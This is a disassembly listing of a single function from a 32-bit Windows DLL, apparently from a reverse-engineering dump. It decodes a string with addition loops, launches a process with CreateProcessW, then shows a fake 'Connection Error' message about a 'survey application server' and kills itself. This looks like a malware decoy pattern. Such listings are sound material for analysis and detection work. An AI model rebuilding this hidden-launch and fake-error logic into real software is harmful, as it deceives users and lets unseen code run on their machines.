mov byte [ebp - 4], 0x16
test esi, esi
je 0x10007010
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x10007006
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x510], esp
call fcn.10004280
sub esp, 0x18
mov byte [ebp - 4], 0x22
mov ecx, esp
call fcn.10003df0
lea ecx, [ebp - 0x49c]
mov byte [ebp - 4], 0x16
call fcn.10001410
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x424], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x514], 5
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
movups xmmword [ebp - 0x524], xmm0
call fcn.10007b30
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], 0x23
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x524]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x528], 5
movups xmmword [ebp - 0x538], xmm0
call fcn.10007b30
mov eax, dword [ebp - 0x428]
xor ecx, ecx
mov esi, dword [ebp - 0x42c]
sub eax, esi
mov edi, dword [ebp - 0x438]
sar eax, 2
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x510], eax
test eax, eax
je 0x10007140
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
nop dword [eax]
xor eax, eax
test esi, esi
je 0x10007128
mov ecx, dword [edx]
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x10007118
mov ecx, dword [ebp - 0x50c]
inc ecx
add edx, 4
mov dword [ebp - 0x50c], ecx
cmp ecx, dword [ebp - 0x510]
jb 0x10007110
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x1000717e
mov eax, dword [ebp - 0x430]
sub eax, edi
sar eax, 2
lea ecx, [eax*4]
mov eax, edi
cmp ecx, 0x1000
jb 0x10007174
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
mov byte [ebp - 4], 0x16
test esi, esi
je 0x100071c0
mov eax, dword [ebp - 0x424]
sub eax, esi
sar eax, 2
lea ecx, [eax*4]
mov eax, esi
cmp ecx, 0x1000
jb 0x100071b6
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
push 0x40
lea eax, [ebp - 0x504]
mov dword [ebp - 0x508], 0x44
push 0
push eax
call fcn.10009dc0
add esp, 0xc
lea ecx, [ebp - 0x4c4]
cmp dword [ebp - 0x440], 8
lea eax, [ebp - 0x454]
cmovae eax, dword [ebp - 0x454]
push ecx
lea ecx, [ebp - 0x508]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea ecx, [ebp - 0x524]
mov dword [ebp - 0x424], 0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x514], 5
lea eax, [ebp - 0x510]
movq qword [ebp - 0x42c], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x42c]
movups xmmword [ebp - 0x524], xmm0
call fcn.10007b30
lea ecx, [ebp - 0x564]
mov byte [ebp - 4], 0x24
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x550]
movq qword [ebp - 0x438], xmm0
movaps xmm0, xmmword [0x10019d70]
push eax
push ecx
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x554], 5
movups xmmword [ebp - 0x564], xmm0
call fcn.10007b30
mov ecx, dword [ebp - 0x428]
mov esi, dword [ebp - 0x42c]
sub ecx, esi
mov edi, dword [ebp - 0x438]
sar ecx, 2
mov dword [ebp - 0x50c], ecx
test ecx, ecx
je 0x10007304
mov esi, dword [ebp - 0x434]
mov edx, dword [ebp - 0x42c]
sub esi, edi
sar esi, 2
xor eax, eax
test esi, esi
je 0x100072f0
mov ecx, dword [edx]
add ecx, dword [edi + eax*4]
inc eax
mov dword [edx], ecx
cmp eax, esi
jb 0x100072e0
mov ecx, dword [ebp - 0x50c]
add edx, 4
sub ecx, 1
mov dword [ebp - 0x50c], ecx
jne 0x100072d8
mov esi, dword [ebp - 0x42c]
test edi, edi
je 0x1000733b
mov ecx, dword [ebp - 0x430]
mov eax, edi
sub ecx, edi
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x10007331
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push edi
call fcn.100088cb
add esp, 8
test esi, esi
je 0x10007372
mov ecx, dword [ebp - 0x424]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x10007368
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push ecx
push esi
call fcn.100088cb
add esp, 8
push 0x10
push str.Connection_Error
push str.Error_connecting_to_survey_application_server._Please_make_sure_you_are_connected_to_the_internet.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x440]
cmp edx, 8
jb 0x100073d5
mov ecx, dword [ebp - 0x454]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100073cb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push edx
push ecx
call fcn.100088cb
add esp, 8
mov edx, dword [ebp - 0x470]
xor eax, eax
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x440], 7
mov word [ebp - 0x454], ax
cmp edx, 8
jb 0x10007432
mov ecx, dword [ebp - 0x484]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10007428
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push edx
push ecx
call fcn.100088cb
add esp, 8
mov edx, dword [ebp - 0x488]
cmp edx, 8
jb 0x10007472
mov ecx, dword [ebp - 0x49c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10007468
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push edx
push ecx
call fcn.100088cb
add esp, 8
mov edx, dword [ebp - 0x458]
cmp edx, 8
jb 0x100074b2
mov ecx, dword [ebp - 0x46c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100074a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push edx
push ecx
call fcn.100088cb
add esp, 8
mov edx, dword [ebp - 0x4a0]
xor eax, eax
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 7
mov word [ebp - 0x46c], ax
cmp edx, 8
jb 0x1000750b
mov ecx, dword [ebp - 0x4b4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10007501
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007537
push edx
push ecx
call fcn.100088cb
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000888a
mov esp, ebp
pop ebp
ret
call fcn.1000bb2c
call fcn.1000bb2c
call fcn.1000bb2c
call fcn.1000bb2c
int3